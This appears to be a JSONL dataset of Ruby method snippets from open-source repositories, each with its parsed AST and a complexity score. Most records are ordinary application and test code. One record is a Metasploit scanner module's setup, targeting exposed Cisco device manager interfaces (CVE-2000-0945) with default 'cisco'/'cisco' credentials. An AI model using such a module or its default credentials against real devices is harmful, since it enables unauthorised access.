{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/pipelines/tests_controller.rb","start_line":24,"raw_source":"def show\n        respond_to do |format|\n          format.json do\n            render json: TestSuiteSerializer\n              .new(project: project, current_user: @current_user)\n              .represent(test_suite, details: true)\n          end\n        end\n      end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"show\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"format\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"format\"]},\"json\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TestSuiteSerializer\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"ivar\",\"children\":[\"@current_user\"]}]}]}]},\"represent\",{\"type\":\"send\",\"children\":[null,\"test_suite\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"details\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}]}]}]}","id":"4ed1e2be-163a-400a-b7e7-1aabe5e02e14"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_nested_attributes_bypass.rb","start_line":20,"raw_source":"def check_nested_attributes\n    active_record_models.each do |name, model|\n      if opts = model.options[:accepts_nested_attributes_for]\n        opts.each do |args|\n          if args.any? { |a| allow_destroy? a } and args.any? { |a| reject_if? a }\n            warn_about_nested_attributes model, args\n          end\n        end\n      end\n    end\n  end","complexity_score":22.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check_nested_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"active_record_models\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"accepts_nested_attributes_for\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"args\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"allow_destroy?\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"reject_if?\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn_about_nested_attributes\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]},null]}]},null]}]}]}","id":"6edf7172-94ce-4594-8f1b-2f3834593e2b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/http/cisco_device_manager.rb","start_line":17,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Cisco Device HTTP Device Manager Access',\n        'Description' => %q{\n          This module gathers data from a Cisco device (router or switch) with the device manager\n          web interface exposed. The HttpUsername and HttpPassword options can be used to specify\n          authentication.\n        },\n        'Author'\t=> [ 'hdm' ],\n        'License'\t=> MSF_LICENSE,\n        'References' => [\n          [ 'BID', '1846'],\n          [ 'CVE', '2000-0945'],\n          [ 'OSVDB', '444'],\n        ],\n        'DisclosureDate' => '2000-10-26',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        OptString.new('HttpUsername', [true, 'The HTTP username to specify for basic authentication', 'cisco']),\n        OptString.new('HttpPassword', [true, 'The HTTP password to specify for basic authentication', 'cisco'])\n      ]\n    )\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Cisco Device HTTP Device Manager Access\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module gathers data from a Cisco device (router or switch) with the device manager\\n\"]},{\"type\":\"str\",\"children\":[\"          web interface exposed. The HttpUsername and HttpPassword options can be used to specify\\n\"]},{\"type\":\"str\",\"children\":[\"          authentication.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"BID\"]},{\"type\":\"str\",\"children\":[\"1846\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2000-0945\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"444\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2000-10-26\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpUsername\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP username to specify for basic authentication\"]},{\"type\":\"str\",\"children\":[\"cisco\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"HttpPassword\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The HTTP password to specify for basic authentication\"]},{\"type\":\"str\",\"children\":[\"cisco\"]}]}]}]}]}]}]}","id":"1bb59f3f-58a3-42db-a0ce-ad6c98772610"}
{"repo_name":"wisper","file_path":"./repos/wisper/lib/wisper/global_listeners.rb","start_line":62,"raw_source":"def self.clear\n      instance.clear\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"clear\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instance\"]},\"clear\"]}]}","id":"b54f34ab-5379-4ed4-971e-31690878a977"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/date_helper_test.rb","start_line":244,"raw_source":"def test_select_day_with_two_digit_numbers\n    expected = +%(<select id=\"date_day\" name=\"date[day]\">\\n)\n    expected << %(<option value=\"1\">01</option>\\n<option selected=\"selected\" value=\"2\">02</option>\\n<option value=\"3\">03</option>\\n<option value=\"4\">04</option>\\n<option value=\"5\">05</option>\\n<option value=\"6\">06</option>\\n<option value=\"7\">07</option>\\n<option value=\"8\">08</option>\\n<option value=\"9\">09</option>\\n<option value=\"10\">10</option>\\n<option value=\"11\">11</option>\\n<option value=\"12\">12</option>\\n<option value=\"13\">13</option>\\n<option value=\"14\">14</option>\\n<option value=\"15\">15</option>\\n<option value=\"16\">16</option>\\n<option value=\"17\">17</option>\\n<option value=\"18\">18</option>\\n<option value=\"19\">19</option>\\n<option value=\"20\">20</option>\\n<option value=\"21\">21</option>\\n<option value=\"22\">22</option>\\n<option value=\"23\">23</option>\\n<option value=\"24\">24</option>\\n<option value=\"25\">25</option>\\n<option value=\"26\">26</option>\\n<option value=\"27\">27</option>\\n<option value=\"28\">28</option>\\n<option value=\"29\">29</option>\\n<option value=\"30\">30</option>\\n<option value=\"31\">31</option>\\n)\n    expected << \"</select>\\n\"\n\n    assert_dom_equal expected, select_day(Time.mktime(2011, 8, 2), use_two_digit_numbers: true)\n    assert_dom_equal expected, select_day(2, use_two_digit_numbers: true)\n  end","complexity_score":11.35,"ast_json":"{\"type\":\"def\",\"children\":[\"test_select_day_with_two_digit_numbers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<select id=\\\"date_day\\\" name=\\\"date[day]\\\">\\n\"]},\"+@\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"<option value=\\\"1\\\">01</option>\\n<option selected=\\\"selected\\\" value=\\\"2\\\">02</option>\\n<option value=\\\"3\\\">03</option>\\n<option value=\\\"4\\\">04</option>\\n<option value=\\\"5\\\">05</option>\\n<option value=\\\"6\\\">06</option>\\n<option value=\\\"7\\\">07</option>\\n<option value=\\\"8\\\">08</option>\\n<option value=\\\"9\\\">09</option>\\n<option value=\\\"10\\\">10</option>\\n<option value=\\\"11\\\">11</option>\\n<option value=\\\"12\\\">12</option>\\n<option value=\\\"13\\\">13</option>\\n<option value=\\\"14\\\">14</option>\\n<option value=\\\"15\\\">15</option>\\n<option value=\\\"16\\\">16</option>\\n<option value=\\\"17\\\">17</option>\\n<option value=\\\"18\\\">18</option>\\n<option value=\\\"19\\\">19</option>\\n<option value=\\\"20\\\">20</option>\\n<option value=\\\"21\\\">21</option>\\n<option value=\\\"22\\\">22</option>\\n<option value=\\\"23\\\">23</option>\\n<option value=\\\"24\\\">24</option>\\n<option value=\\\"25\\\">25</option>\\n<option value=\\\"26\\\">26</option>\\n<option value=\\\"27\\\">27</option>\\n<option value=\\\"28\\\">28</option>\\n<option value=\\\"29\\\">29</option>\\n<option value=\\\"30\\\">30</option>\\n<option value=\\\"31\\\">31</option>\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"<<\",{\"type\":\"str\",\"children\":[\"</select>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_day\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"mktime\",{\"type\":\"int\",\"children\":[2011]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_two_digit_numbers\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"send\",\"children\":[null,\"select_day\",{\"type\":\"int\",\"children\":[2]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_two_digit_numbers\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"e0787952-9837-4b46-b59e-517dd25d50e4"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/my/access_token/api/table_component.rb","start_line":51,"raw_source":"def columns\n          headers.map(&:first)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"first\"]}]}]}]}","id":"d03d0f6c-8eaf-4f09-b909-844ebe71c04f"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/number_helper_test.rb","start_line":324,"raw_source":"def test_number_to_human\n        [@instance_with_helpers, TestClassWithClassNumberHelpers, ActiveSupport::NumberHelper].each do |number_helper|\n          assert_equal \"-123\", number_helper.number_to_human(-123)\n          assert_equal \"-0.5\", number_helper.number_to_human(-0.5)\n          assert_equal \"0\",   number_helper.number_to_human(0)\n          assert_equal \"0.5\", number_helper.number_to_human(0.5)\n          assert_equal \"123\", number_helper.number_to_human(123)\n          assert_equal \"1.23 Thousand\", number_helper.number_to_human(1234)\n          assert_equal \"12.3 Thousand\", number_helper.number_to_human(12345)\n          assert_equal \"1.23 Million\", number_helper.number_to_human(1234567)\n          assert_equal \"1.23 Billion\", number_helper.number_to_human(1234567890)\n          assert_equal \"1.23 Trillion\", number_helper.number_to_human(1234567890123)\n          assert_equal \"1.23 Quadrillion\", number_helper.number_to_human(1234567890123456)\n          assert_equal \"1230 Quadrillion\", number_helper.number_to_human(1234567890123456789)\n          assert_equal \"490 Thousand\", number_helper.number_to_human(489939, precision: 2)\n          assert_equal \"489.9 Thousand\", number_helper.number_to_human(489939, precision: 4)\n          assert_equal \"489 Thousand\", number_helper.number_to_human(489000, precision: 4)\n          assert_equal \"480 Thousand\", number_helper.number_to_human(489939, precision: 2, round_mode: :down)\n          assert_equal \"489.0 Thousand\", number_helper.number_to_human(489000, precision: 4, strip_insignificant_zeros: false)\n          assert_equal \"1.2346 Million\", number_helper.number_to_human(1234567, precision: 4, significant: false)\n          assert_equal \"1,2 Million\", number_helper.number_to_human(1234567, precision: 1, significant: false, separator: \",\")\n          assert_equal \"1 Million\", number_helper.number_to_human(1234567, precision: 0, significant: true, separator: \",\") # significant forced to false\n          assert_equal \"1 Million\", number_helper.number_to_human(999999)\n          assert_equal \"1 Billion\", number_helper.number_to_human(999999999)\n        end\n      end","complexity_score":70.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_number_to_human\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@instance_with_helpers\"]},{\"type\":\"const\",\"children\":[null,\"TestClassWithClassNumberHelpers\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"NumberHelper\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"number_helper\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-123\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[-123]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"-0.5\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"float\",\"children\":[-0.5]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"0.5\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"float\",\"children\":[0.5]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"123\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[123]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1.23 Thousand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"12.3 Thousand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[12345]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1.23 Million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234567]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1.23 Billion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234567890]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1.23 Trillion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234567890123]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1.23 Quadrillion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234567890123456]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1230 Quadrillion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234567890123456789]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"490 Thousand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[489939]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[2]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"489.9 Thousand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[489939]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"489 Thousand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[489000]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"480 Thousand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[489939]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"round_mode\"]},{\"type\":\"sym\",\"children\":[\"down\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"489.0 Thousand\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[489000]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"strip_insignificant_zeros\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1.2346 Million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234567]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"significant\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1,2 Million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234567]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"significant\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"separator\"]},{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1 Million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[1234567]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"significant\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"separator\"]},{\"type\":\"str\",\"children\":[\",\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1 Million\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[999999]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"1 Billion\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"number_helper\"]},\"number_to_human\",{\"type\":\"int\",\"children\":[999999999]}]}]}]}]}]}","id":"36245132-d670-403d-b814-3f05234dca08"}
{"repo_name":"rails","file_path":"./repos/rails/guides/rails_guides/helpers.rb","start_line":23,"raw_source":"def documents_flat\n      documents_by_section.flat_map { |section| section[\"documents\"] }\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"documents_flat\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"documents_by_section\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"section\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"section\"]},\"[]\",{\"type\":\"str\",\"children\":[\"documents\"]}]}]}]}","id":"52bce2b4-68b5-4f9a-86d0-267136bae7c4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/ci/job_token_scope_helpers.rb","start_line":57,"raw_source":"def create_inbound_and_outbound_accessible_project(project)\n      create(:project).tap do |accessible_project|\n        make_project_fully_accessible(project, accessible_project)\n      end\n    end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"create_inbound_and_outbound_accessible_project\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"project\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"accessible_project\"]}]},{\"type\":\"send\",\"children\":[null,\"make_project_fully_accessible\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"accessible_project\"]}]}]}]}","id":"6a979b89-d8c6-4b51-aa10-d0ddf0309a18"}
{"repo_name":"identity_cache","file_path":"./repos/identity_cache/lib/identity_cache.rb","start_line":173,"raw_source":"def map_cached_nil_for(value)\n      value.nil? ? IdentityCache::CACHED_NIL : value\n    end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"map_cached_nil_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IdentityCache\"]},\"CACHED_NIL\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"537e3726-0863-42f8-be7f-9cde7dbaedd1"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/pxe_image.rb","start_line":25,"raw_source":"def build_pxe_contents(kernel_args)\n    options = kernel_options.to_s.split(\" \")\n    kernel_args.each { |k, v| update_pxe_content_option(options, \"#{k}=\", v) }\n    options.compact.join(\" \").strip\n  end","complexity_score":11.3,"ast_json":"{\"type\":\"def\",\"children\":[\"build_pxe_contents\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"kernel_args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"kernel_options\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\" \"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"kernel_args\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"send\",\"children\":[null,\"update_pxe_content_option\",{\"type\":\"lvar\",\"children\":[\"options\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"lvar\",\"children\":[\"v\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"compact\"]},\"join\",{\"type\":\"str\",\"children\":[\" \"]}]},\"strip\"]}]}]}","id":"596fec09-287f-4f58-be4b-176a6eedbd7d"}
